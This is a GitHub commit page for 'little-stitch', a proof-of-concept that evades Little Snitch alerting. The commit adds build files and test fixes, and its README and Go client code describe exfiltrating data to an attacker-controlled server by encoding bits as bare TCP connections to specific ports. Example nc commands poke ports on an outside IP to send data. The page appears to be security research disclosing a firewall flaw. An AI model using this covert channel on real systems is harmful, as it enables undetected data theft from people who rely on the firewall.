Skip to content

Commit

Permalink
Build and documentation improvments
Browse files Browse the repository at this point in the history
* Add timeout to Ping function
* Fix tests
* Add build & test GitHub Action
* Update README.md
* Add Dockerfile
* Add Makefile
  • Loading branch information
RyanJarv committed Oct 30, 2021
1 parent fcfb744 commit 02c60db
Show file tree
Hide file tree
Showing 6 changed files with 203 additions and 28 deletions.
33 changes: 33 additions & 0 deletions .github/workflows/go.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
name: Go

on:
push:
branches: [ master ]
pull_request:
branches: [ master ]

jobs:

build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2

- name: Set up Go
uses: actions/setup-go@v2
with:
go-version: 1.17

- name: Build
run: go build -o little-stitch -v main.go

- name: Test
run: go test -v ./...

- name: Upload a Build Artifact
uses: actions/upload-artifact@v2.2.4
with:
name: little-stitch
path: ./little-stitch
if-no-files-found: error

5 changes: 1 addition & 4 deletions Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,6 @@ FROM golang:latest

WORKDIR /usr/src/little-stitch
ENV GO11MODULES on
RUN apt-get update && apt-get install -y \
libpcap-dev \
iproute2
COPY ./go.mod ./go.sum ./*.go ./
COPY ./ ./
RUN go build -o /usr/local/bin/little-stitch ./main.go
ENTRYPOINT ["/usr/local/bin/little-stitch"]
33 changes: 33 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
BINARY_NAME=little-stitch

build:
GOARCH=amd64 GOOS=darwin go build -ldflags "-s -w" -o ${BINARY_NAME}-darwin-amd64 main.go
GOARCH=arm64 GOOS=darwin go build -ldflags "-s -w" -o ${BINARY_NAME}-darwin-arm64 main.go

docker/build:
docker run -e GO11MODULES=on -w /build -v "${PWD}:/build" golang:latest make build

run:
./${BINARY_NAME}

build_and_run: build run

clean:
go clean
rm ${BINARY_NAME}-darwin-amd64
rm ${BINARY_NAME}-darwin-arm64

test:
go test ./...

test_coverage:
go test ./... -coverprofile=coverage.out

dep:
go mod download

vet:
go vet

lint:
golangci-lint run --enable-all
111 changes: 111 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,115 @@
Send and receive bypassing Little Snitch alerting.


## Stitch Face

Stitch face, the little stitch mascot.

![Stitch Face, the Little Stitch mascot](https://i.ytimg.com/vi/Oq5u07Rs9Ac/maxresdefault.jpg)

## Demo

https://user-images.githubusercontent.com/4079939/139521096-1f6fdb8d-cf20-489a-820f-ecdb980fc289.mov

## Usage

### Build

Make sure a recent version of GoLang is installed and set up (tested with golang 1.17.2).

```
go build -o little-stitch main.go
```


### Server

Currently, this PoC does not differentiate between clients so you'll likely want a firewall setup allowing ports
11100-11300 only from the client IP address. Other clients connecting to these ports while the server running
will change the output.

```
echo 'hello from server' | ./little-stitch server
```

### Client

You'll want to start the server before the client, you may get unexpected results if you start the client first.

```
echo 'hello from client' | ./little-stitch client <server ip address>
```

## Underlying Issue

Little Snitch does not actually trigger an alert when a TCP connection is established but instead is triggered
when application data is sent across the connection. So if you set up a TCP connection and immediately close it,
before sending any data across it, an alert will not be triggered by Little Snitch.

You can test this without installing anything on your computer with the nc command.

```
% nc -G 2 -vz 1.1.1.1 80
Connection to 1.1.1.1 port 80 [tcp/http] succeeded!
% nc -G 2 -vz 1.1.1.1 81
nc: connectx to 1.1.1.1 port 81 (tcp) failed: Operation timed out
```

While we aren't sending any data across the connection, this behavior alone is enough to enable two-way
communications between a server and a client running behind Little Snitch without being detected.

## Implementation Details

For exfiling data to an attacker-controlled server, instead of sending data across the TCP connection as
application data we want to encode our data, into attributes of the connection which are settable by an
underprivileged user client-side, and will be readable on the same connection server-side.

There are several attributes of a TCP connection that fill these requirements, however the most
straightforward is the destination port number, and whether a connection is opened or not. If we
are trying to send a byte at a time to the server we can use a range of 8 destination ports each
representing a bit in the current byte. We can then have an initiated connection represent a one while
doing nothing represents a zero, so essentially whether a connection is opened or not in the current
cycle represents a single bit. Once we have made all the connections needed we can then send a connection
to a ninth port, indicating to the server the current cycle is complete.

We can run through this manually to get a better idea of what is happening here by just running the server-side
of the connection and using `nc` to open the connections which will set (poke) the bits on the server.

```
./little-stitch server
```

With the server running we can take a look at the bit's needed to represent an ASCII `A`.

```
$ echo -n 'A' | xxd -b
00000000: 01000001 A
```

From the output of `xxd` we can see, if we are counting from right to left (assuming you are using a little-endian
system) bits 1 and 7 are set. So to print an 'A' we'll want to poke ports 11101 and 11107, following up with a 11100
to flush the byte to stdout.

```
% nc -vz 34.125.141.146 11101
Connection to 34.125.141.146 port 11101 [tcp/*] succeeded!
% nc -vz 34.125.141.146 11107
Connection to 34.125.141.146 port 11107 [tcp/*] succeeded!
% nc -vz 34.125.141.146 11100
Connection to 34.125.141.146 port 11100 [tcp/*] succeeded!
```

If we look at the server we'll see the following.

```
$ ./little-stitch
A
```

Sending data the other direction isn't as simple since we can't send data directly from the server to the client, which will
most likely be on a network restricted with NAT. So instead of poking ports when we need to represent the value of a
given bit, we'll instead open the ports on the server corresponding to the set bits of the current byte. The client can
then iterate over these ports and record whether they were opened or closed to determine the value of the current byte.
In the demo we can see that this is slower than sending data to the server, this is because the client has more ports
overall to check (currently this is unoptimized, and closing the connection eats up a fair amount of time) and because
the server and the client need to be more careful about remaining in sync during this process.
21 changes: 14 additions & 7 deletions lib/client.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,8 @@ const SendBasePort = 11100
const ReceiveBasePort = 11200
const ReceiveSendWidth = 2

const TIMEOUT = time.Second * 3

func NewClient(addr []byte) *Client {
sendR, sendW := io.Pipe()
receiveR, receiveW := io.Pipe()
Expand Down Expand Up @@ -74,6 +76,7 @@ func (c *Client) sendWorker() {
// right n-1, bitwise and it with 1 to clear bits on the left, then check if it equals 1.
if (b >> (bit - 1) & 1) == 1 {
// TODO: Debug logging of errors returned here.

Ping(c.Addr, SendBasePort+ bit)
}
}
Expand Down Expand Up @@ -149,7 +152,6 @@ func (c *Client) receiveClockPing() error {
wait := time.Millisecond
// Try sending the Clock ping 10 times, if the port isn't open by then something went wrong.
for i := 1; i <= checks; i++ {
// Server will close this port when it is ready to send data.
// TODO: Debug logging of retries.
open, err = Ping(c.Addr, ReceiveBasePort)
if err != nil || !open {
Expand Down Expand Up @@ -182,17 +184,22 @@ func (c *Client) Wait() (err error) {
}

func Ping(ip []byte, port int) (bool, error) {
//addr := strconv.Itoa(int(ip[0])) + "." + strconv.Itoa(int(ip[1])) + "." + strconv.Itoa(int(ip[2])) + "." + strconv.Itoa(int(ip[3])) + ":" + strconv.Itoa(port)
//tcp, err := net.Dial("tcp", addr)
tcp, err := net.DialTCP("tcp", nil, &net.TCPAddr{IP: ip, Port: port})
addr := net.TCPAddr{IP: ip, Port: port}

d := net.Dialer{Timeout: TIMEOUT}
conn, err := d.Dial("tcp", addr.String())

if err != nil {
if strings.Contains(err.Error(), "connect: connection refused") {
return false, nil
if strings.Contains(err.Error(), "connect: connection refused") {
return false, err
} else {
return false, err
}
} else {
tcp.Close()
err := conn.Close()
if err != nil {
fmt.Println("error closing connection")
}
return true, nil
}
}
Expand Down
28 changes: 11 additions & 17 deletions lib/client_test.go
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
package lib

import (
"syscall"
"testing"
)

func TestPing(t *testing.T) {
type args struct {
addr syscall.Sockaddr
ip []byte
port int
}
tests := []struct {
name string
Expand All @@ -18,41 +18,35 @@ func TestPing(t *testing.T) {
{
"returns true and no error when ran against a open port",
args{
&syscall.SockaddrInet4{
Port: 80,
Addr: [4]byte{1,1,1,1},
},
ip: []byte{1,1,1,1},
port: 80,
},
true,
false,
},
{
"returns false and an error when ran against a filtered port",
args{
&syscall.SockaddrInet4{
Port: 1234,
Addr: [4]byte{1,1,1,1},
},
ip: []byte{1,1,1,1},
port: 1234,
},
true,
false,
true,
},
{
"returns false and an error when ran against a closed port",
args{
&syscall.SockaddrInet4{
Port: 1234,
Addr: [4]byte{127, 0, 0, 1},
},
ip: []byte{127, 0, 0, 1},
port: 1234,
},
true,
false,
true,
},
// TODO: Add test cases.
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got, err := Ping(tt.args.addr)
got, err := Ping(tt.args.ip, tt.args.port)
if (err != nil) != tt.wantErr {
t.Errorf("Ping() error = %v, wantErr %v", err, tt.wantErr)
return
Expand Down

0 comments on commit 02c60db

Please sign in to comment.